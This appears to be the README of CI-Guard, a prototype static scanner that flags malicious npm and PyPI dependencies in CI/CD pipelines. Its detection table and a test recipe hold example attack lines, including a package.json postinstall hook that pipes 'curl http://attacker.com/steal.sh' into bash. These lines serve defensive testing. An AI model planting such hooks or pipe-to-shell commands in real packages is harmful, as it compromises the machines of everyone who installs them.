Strumento di analisi statica che rileva dipendenze dannose nelle pipeline CI/CD utilizzando il pattern matching e l'analisi AST, con un sistema di punteggio di rischio a semaforo e verifica opzionale in sandbox Docker.
Uno strumento di analisi statica per rilevare dipendenze dannose nelle pipeline CI/CD prima che vengano integrate nel tuo codebase.
Autore: Otsmane Ahmed
Stato: Prototipo di ricerca v1.0
# 1. Clone and install
git clone https://github.com/Otsmane-Ahmed/ci-supplychain-guard.git
cd ci-supplychain-guard
python3 -m venv venv
source venv/bin/activate # On Windows: venv\Scripts\activate
pip install -r requirements.txt
```bash
# 1. Clone and install
git clone https://github.com/Otsmane-Ahmed/ci-supplychain-guard.git
cd ci-supplychain-guard
python3 -m venv venv
source venv/bin/activate # On Windows: venv\Scripts\activate
pip install -r requirements.txt
# 2. Scan a package directory
python3 main_guard.py /path/to/package
Lo strumento restituirà un verdetto: SAFE, SUSPICIOUS o BLOCKED.
Se hai scaricato un pacchetto da npm o PyPI e vuoi verificare che sia sicuro:
# NPM package
npm pack suspicious-package
tar -xzf suspicious-package-*.tgz
python3 main_guard.py ./package
# Python package
pip download untrusted-pkg --no-deps
tar -xzf untrusted-pkg-*.tar.gz
python3 main_guard.py ./untrusted-pkg-1.0.0
Controlla i pacchetti già installati nel tuo progetto:
# Scan all npm packages
python3 main_guard.py ./node_modules
# Scan a specific Python package
python3 main_guard.py ./venv/lib/python3.10/site-packages/requests
Nota: la scansione di directory di grandi dimensioni come node_modules richiederà più tempo. Per risultati più rapidi, scansiona i singoli pacchetti.
Esempio di workflow GitHub Actions:
name: Security Scan
on: [pull_request]
jobs:
scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Setup Python
uses: actions/setup-python@v4
with:
python-version: '3.10'
- name: Install CI-Guard
run: |
git clone https://github.com/Otsmane-Ahmed/ci-supplychain-guard.git
cd ci-supplychain-guard
pip install -r requirements.txt
- name: Scan Dependencies
run: |
cd ci-supplychain-guard
python3 main_guard.py ../your-project-directory
La pipeline fallirà (codice di uscita 1) se viene rilevato codice dannoso.
$ python3 main_guard.py ./clean-package
Scanning target: ./clean-package
Running static analysis...
Static Risk Score: 0/100
Verdict: SAFE
Nessun pattern dannoso rilevato.
$ python3 main_guard.py ./evil-package
Scanning target: ./evil-package
Running static analysis...
Static Risk Score: 18/100
Verdict: BLOCKED (Critical Risk)
Rilevati pattern pericolosi (es. shell injection, furto di credenziali). Non installare questo pacchetto.
I pacchetti con un punteggio pari o superiore a 10 vengono bloccati automaticamente.
$ python3 main_guard.py ./suspicious-package
Scanning target: ./suspicious-package
Running static analysis...
Static Risk Score: 6/100
Verdict: SUSPICIOUS (Score 6). Initiating sandbox...
Trovati alcuni pattern preoccupanti. Se Docker è in esecuzione, il pacchetto verrà testato in una sandbox isolata per la verifica. Si consiglia una revisione manuale.
| Tipo di Attacco | Esempio | Stato |
|---|---|---|
| Shell Injection | curl evil.com | bash | Rilevato |
| Furto di Credenziali | Lettura di process.env e invio a un server esterno | Rilevato |
| Offuscamento del Codice | eval(atob('base64...')) | Rilevato |
| Script di Installazione Dannosi | Hook NPM postinstall | Rilevato |
| File Binari | .exe, .dll nei pacchetti | Rilevato |
| Typosquatting | Nomi simili a pacchetti popolari | Richiesto controllo manuale |
Puoi testare CI-Guard creando un pacchetto dannoso di esempio:
# Create test directory
mkdir ~/test-malicious
cd ~/test-malicious
# Create package.json with malicious postinstall hook
cat > package.json << 'EOF'
{
"name": "evil-package",
"version": "1.0.0",
"scripts": {
"postinstall": "curl http://attacker.com/steal.sh | bash"
}
}
EOF
# Scan it
cd ~/ci-supplychain-guard
python3 main_guard.py ~/test-malicious
Output atteso:
Static Risk Score: 18/100
Verdict: BLOCKED (Critical Risk)
| Ecosistema | Pacchetti Testati | Tasso di Rilevamento |
|---|---|---|
| NPM | 15,059 | 89.6% |
| PyPI | 2,257 | 82.2% |
Tempo medio di scansione: 1-3 secondi per pacchetto (solo analisi statica)
Posso scansionare pacchetti già installati?
Sì. Punta CI-Guard verso la tua directory node_modules o site-packages di Python:
python3 main_guard.py ./node_modules/some-package
python3 main_guard.py ./venv/lib/python3.10/site-packages/requests
E se un pacchetto legittimo viene segnalato?
CI-Guard pecca per eccesso di prudenza. Se ti fidi di un pacchetto segnalato:
analyzer/static_scanner.pyFunziona su Windows e macOS?
Sì. Python e Docker sono multipiattaforma.
Devo installare Docker?
Docker è richiesto solo per i pacchetti con punteggio 4-9 (sospetti). La maggior parte dei pacchetti è chiaramente sicura (0-3) o chiaramente dannosa (10+).
CI-Guard utilizza un sistema a semaforo a tre livelli:
Metodi di rilevamento:
Le pull request sono benvenute. Per aggiungere una nuova regola di rilevamento:
Modifica analyzer/static_scanner.py e aggiungi alla lista RULES:
{
"id": "SA-XXX",
"name": "Rule Name",
"pattern": r"regex_pattern",
"weight": 8 # Score contribution (1-10)
}
Licenza MIT - consulta il file LICENSE per i dettagli.
Otsmane Ahmed - GitHub